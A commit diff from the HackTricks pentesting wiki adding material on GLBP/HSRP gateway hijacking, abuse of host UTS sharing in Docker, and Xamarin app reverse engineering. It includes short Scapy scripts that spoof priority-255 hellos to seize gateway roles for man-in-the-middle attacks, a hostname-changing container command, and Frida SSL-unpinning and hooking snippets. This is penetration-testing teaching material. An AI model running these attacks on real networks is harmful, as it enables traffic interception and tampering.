Skip to content

Commit 923bafd

Browse files
committed
Merge branch 'master' of github.com:HackTricks-wiki/hacktricks
2 parents aacb0f7 + 90fe545 commit 923bafd

3 files changed

Lines changed: 99 additions & 13 deletions

File tree

src/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md

Lines changed: 40 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -13,6 +13,8 @@ FHRP is designed to provide network robustness by merging multiple routers into
1313

1414
Cisco's creation, GLBP, functions on the TCP/IP stack, utilizing UDP on port 3222 for communication. Routers in a GLBP group exchange "hello" packets at 3-second intervals. If a router fails to send these packets for 10 seconds, it is presumed to be offline. However, these timers are not fixed and can be modified.
1515

16+
GLBP for IPv6 uses multicast **FF02::66** over UDP/3222, and the virtual MAC format becomes `0007.b4xx.xxyy` (AVF ID is in the last byte). Timing and attack surface remain the same as in IPv4, so hijack techniques still work in dual‑stack networks.
17+
1618
### GLBP Operations and Load Distribution
1719

1820
GLBP stands out by enabling load distribution across routers using a single virtual IP coupled with multiple virtual MAC addresses. In a GLBP group, every router is involved in packet forwarding. Unlike HSRP/VRRP, GLBP offers genuine load balancing through several mechanisms:
@@ -35,6 +37,20 @@ For interactions, GLBP employs the reserved multicast address 224.0.0.102 and UD
3537

3638
An attacker can become the primary router by sending a GLBP packet with the highest priority value (255). This can lead to DoS or MITM attacks, allowing traffic interception or redirection.
3739

40+
**Practical GLBP hijack with Scapy (short PoC)**
41+
42+
```python
43+
from scapy.all import *
44+
45+
vip = "10.10.100.254" # learned from sniffing
46+
pkt = IP(dst="224.0.0.102")/UDP(dport=3222,sport=3222)/Raw(
47+
b"\x01\x00\xff\x64" # Version=1, Opcode=Hello, Priority=255, Weight=100
48+
)
49+
send(pkt, iface="eth0", loop=1, inter=1)
50+
```
51+
52+
Craft the payload bytes to mimic the GLBP header (version/opcode/priority/weight/VRID). Looping the frame ensures you win the AVG election if authentication is absent.
53+
3854
### Executing a GLBP Attack with Loki
3955

4056
[Loki](https://github.com/raizo62/loki_on_kali) can perform a GLBP attack by injecting a packet with priority and weight set to 255. Pre-attack steps involve gathering information like the virtual IP address, authentication presence, and router priority values using tools like Wireshark.
@@ -75,6 +91,8 @@ Monitoring and intercepting traffic can be done using net-creds.py or similar to
7591

7692
HSRP is a Cisco proprietary protocol designed for network gateway redundancy. It allows the configuration of multiple physical routers into a single logical unit with a shared IP address. This logical unit is managed by a primary router responsible for directing traffic. Unlike GLBP, which uses metrics like priority and weight for load balancing, HSRP relies on a single active router for traffic management.
7793

94+
HSRPv1 uses multicast **224.0.0.2** and virtual MAC `0000.0c07.acXX`; HSRPv2 and HSRPv2 for IPv6 use **224.0.0.102 / FF02::66** and virtual MAC `0000.0c9f.fXXX`. UDP destination port is **1985** for IPv4 and **2029** for IPv6.
95+
7896
#### Roles and Terminology in HSRP
7997

8098
- **HSRP Active Router**: The device acting as the gateway, managing traffic flow.
@@ -91,6 +109,26 @@ HSRP comes in two versions, HSRPv1 and HSRPv2, differing mainly in group capacit
91109

92110
HSRP attacks involve forcibly taking over the Active Router's role by injecting a maximum priority value. This can lead to a Man-In-The-Middle (MITM) attack. Essential pre-attack steps include gathering data about the HSRP setup, which can be done using Wireshark for traffic analysis.
93111

112+
**Quick HSRP takeover with Scapy**
113+
114+
```python
115+
from scapy.all import *
116+
117+
vip = "10.10.100.1"
118+
pkt = IP(dst="224.0.0.102")/UDP(sport=1985,dport=1985)/Raw(
119+
b"\x00\x02\xff\x03\x00\x00\x00\x01" # Hello, priority 255, group 1
120+
)
121+
send(pkt, iface="eth0", inter=1, loop=1)
122+
```
123+
124+
If authentication is **not** configured, continuously sending hellos with higher priority forces peers into *Speak*/*Listen* states and lets you become *Active*, redirecting traffic through your host.
125+
126+
**HSRP authentication corner cases**
127+
128+
- Legacy plain-text auth is trivially spoofable.
129+
- MD5 authentication only covers the HSRP payload; crafted packets can still rate-limit/DoS control planes. NX-OS releases previously allowed DoS against authenticated groups (see Cisco advisory CSCup11309).
130+
- On many ISP / VPS shared VLANs, HSRPv1 multicasts are visible to tenants; without auth you can join and preempt traffic.
131+
94132
#### Steps for Bypassing HSRP Authentication
95133

96134
1. Save the network traffic containing HSRP data as a .pcap file.
@@ -135,9 +173,6 @@ Executing these steps places the attacker in a position to intercept and manipul
135173
## References
136174

137175
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
138-
139-
176+
- [Cisco NX-OS HSRP authentication DoS (CSCup11309)](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/Cisco-SA-20140611-CVE-2014-3295)
177+
- [Reddit: HSRP seen on VPS shared VLANs](https://www.reddit.com/r/networking/comments/1h0v1aq/hsrp_seen_on_cloud_vlans_without_auth/)
140178
{{#include ../../banners/hacktricks-training.md}}
141-
142-
143-

src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md

Lines changed: 16 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -75,7 +75,22 @@ sudo find /proc -maxdepth 3 -type l -name uts -exec ls -l {} \; 2>/dev/null | g
7575
nsenter -u TARGET_PID --pid /bin/bash
7676
```
7777

78-
{{#include ../../../../banners/hacktricks-training.md}}
78+
## Abusing host UTS sharing
79+
80+
If a container is started with `--uts=host`, it joins the host UTS namespace instead of getting an isolated one. With capabilities such as `--cap-add SYS_ADMIN`, code in the container can change the host hostname/NIS name via `sethostname()`/`setdomainname()`:
81+
82+
```bash
83+
docker run --rm -it --uts=host --cap-add SYS_ADMIN alpine sh -c "hostname hacked-host && exec sh"
84+
# Hostname on the host will immediately change to "hacked-host"
85+
```
7986

87+
Changing the host name can tamper with logs/alerts, confuse cluster discovery or break TLS/SSH configs that pin the hostname.
8088

89+
### Detect containers sharing UTS with the host
8190

91+
```bash
92+
docker ps -aq | xargs -r docker inspect --format '{{.Id}} UTSMode={{.HostConfig.UTSMode}}'
93+
# Shows "host" when the container uses the host UTS namespace
94+
```
95+
96+
{{#include ../../../../banners/hacktricks-training.md}}

src/mobile-pentesting/xamarin-apps.md

Lines changed: 43 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -34,20 +34,37 @@ To access the assemblies in an APK/IPA, unzip the file and explore the assemblie
3434
python3 xamarin-decompress.py -o /path/to/decompressed/apk
3535
```
3636

37-
In cases where after decompiling the APK it's possible to see the unknown/assemblies/ folder with the `.dll` files inside it, so it's posible to use [**dnSpy**](https://github.com/dnSpy/dnSpy) directly over the `.dlls` to analyze them.\
38-
However, sometimes, it's found the `assemblies.blob` and `assemblies.manifest` files inside the unknown/assemblies/ folder. The tool [pyxamstore](https://github.com/jakev/pyxamstore) can be used for unpacking the `assemblies.blob` file in Xamarin apps, allowing access to the .NET assemblies for further analysis:
37+
In cases where after decompiling the APK it's possible to see the unknown/assemblies/ folder with the `.dll` files inside it, it's possible to use [**dnSpy**](https://github.com/dnSpy/dnSpy) directly over the `.dlls` to analyze them. However, sometimes the `assemblies.blob` and `assemblies.manifest` files are inside the unknown/assemblies/ folder. The tool [pyxamstore](https://github.com/jakev/pyxamstore) can unpack the `assemblies.blob` file in Xamarin apps, allowing access to the .NET assemblies for further analysis:
3938

4039
```bash
4140
pyxamstore unpack -d /path/to/decompressed/apk/assemblies/
41+
# After patching DLLs, rebuild the store
42+
pyxamstore pack
43+
```
44+
45+
Some recent Xamarin/MAUI builds store compressed assemblies using the **XALZ** format inside `/assemblies.blob` or `/resources/assemblies`. You can quickly decompress them with the [xamarout](https://pypi.org/project/xamarout/) library:
46+
47+
```python
48+
from xamarout import xalz
49+
import os
50+
for root, _, files in os.walk("."):
51+
for f in files:
52+
if open(os.path.join(root, f), 'rb').read(4) == b"XALZ":
53+
xa = xalz.XamarinCompressedAssembly(os.path.join(root, f))
54+
xa.write("decompressed/" + f)
4255
```
4356

4457
iOS dll files are readily accessible for decompilation, revealing significant portions of the application code, which often shares a common base across different platforms.
4558

59+
> **AOT on iOS**: managed IL is compiled into native `*.aotdata.*` files. Patching the DLL alone will not change logic; you need to hook native stubs (e.g., with Frida) because the IL bodies are empty placeholders.
60+
4661
### Static Analysis
4762

48-
Once the `.dll`s are obtained it's possible to analyze the .Net code statically using tools such as [**dnSpy**](https://github.com/dnSpy/dnSpy) **or** [**ILSpy**](https://github.com/icsharpcode/ILSpy) **t**hat will allow to modify the code of the app. This can be super useful to tamper the application to bypass protections for example.\
63+
Once the `.dll`s are obtained it's possible to analyze the .Net code statically using tools such as [**dnSpy**](https://github.com/dnSpy/dnSpy) or [**ILSpy**](https://github.com/icsharpcode/ILSpy) that will allow modifying the code of the app. This can be super useful to tamper the application to bypass protections for example.\
4964
Note that after modifying the app you will need to pack it back again and sign it again.
5065

66+
> dnSpy is archived; maintained forks like **dnSpyEx** keep working with .NET 8/MAUI assemblies and preserve debug symbols when re-saving.
67+
5168
### Dynamic Analysis
5269

5370
Dynamic analysis involves checking for SSL pinning and using tools like [Fridax](https://github.com/NorthwaveSecurity/fridax) for runtime modifications of the .NET binary in Xamarin apps. Frida scripts are available to bypass root detection or SSL pinning, enhancing analysis capabilities.
@@ -58,17 +75,36 @@ Other interesting Frida scripts:
5875
- [**xamarin-root-detect-bypass**](https://codeshare.frida.re/@nuschpl/xamarin-root-detect-bypass/)
5976
- [**Frida-xamarin-unpin**](https://github.com/GoSecure/frida-xamarin-unpin)
6077

78+
Updated **Frida-xamarin-unpin** (Mono >=6) hooks `System.Net.Http.HttpClient.SendAsync` and swaps the handler to a permissive one, so it still works even when pinning is implemented in custom handlers. Run it after the app starts:
79+
80+
```bash
81+
frida -U -l dist/xamarin-unpin.js com.target.app --no-pause
82+
```
83+
84+
Quick template to hook managed methods with the bundled `frida-mono-api`:
85+
86+
```javascript
87+
const mono = require('frida-mono-api');
88+
Mono.ensureInitialized();
89+
Mono.enumerateLoadedImages().forEach(i => console.log(i.name));
90+
const klass = Mono.classFromName("Namespace", "Class");
91+
const m = Mono.methodFromName(klass, "Method", 2);
92+
Mono.intercept(m, { onEnter(args){ console.log(args[1].toInt32()); } });
93+
```
94+
6195
### Resigning
6296

6397
The tool [Uber APK Signer](https://github.com/patrickfav/uber-apk-signer) simplifies signing multiple APKs with the same key, and can be used to resign an app after changes have been performed to it.
6498

65-
## Further information
99+
## References
66100

67101
- [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
68102
- [https://thecobraden.com/posts/unpacking_xamarin_assembly_stores/](https://thecobraden.com/posts/unpacking_xamarin_assembly_stores/)
69103
- [https://medium.com/@justmobilesec/introduction-to-the-exploitation-of-xamarin-apps-fde4619a51bf](https://medium.com/@justmobilesec/introduction-to-the-exploitation-of-xamarin-apps-fde4619a51bf)
104+
- [https://github.com/jakev/pyxamstore](https://github.com/jakev/pyxamstore)
105+
- [https://pypi.org/project/xamarout/](https://pypi.org/project/xamarout/)
106+
- [https://github.com/GoSecure/frida-xamarin-unpin](https://github.com/GoSecure/frida-xamarin-unpin)
107+
- [https://gist.github.com/Diefunction/e26fce039efcab57aac342a4b2d48ff6](https://gist.github.com/Diefunction/e26fce039efcab57aac342a4b2d48ff6)
108+
- [https://reverseengineering.stackexchange.com/questions/31716/deobfuscating-ios-dll-file-i-think-arm64](https://reverseengineering.stackexchange.com/questions/31716/deobfuscating-ios-dll-file-i-think-arm64)
70109

71110
{{#include ../banners/hacktricks-training.md}}
72-
73-
74-

0 commit comments

Comments
 (0)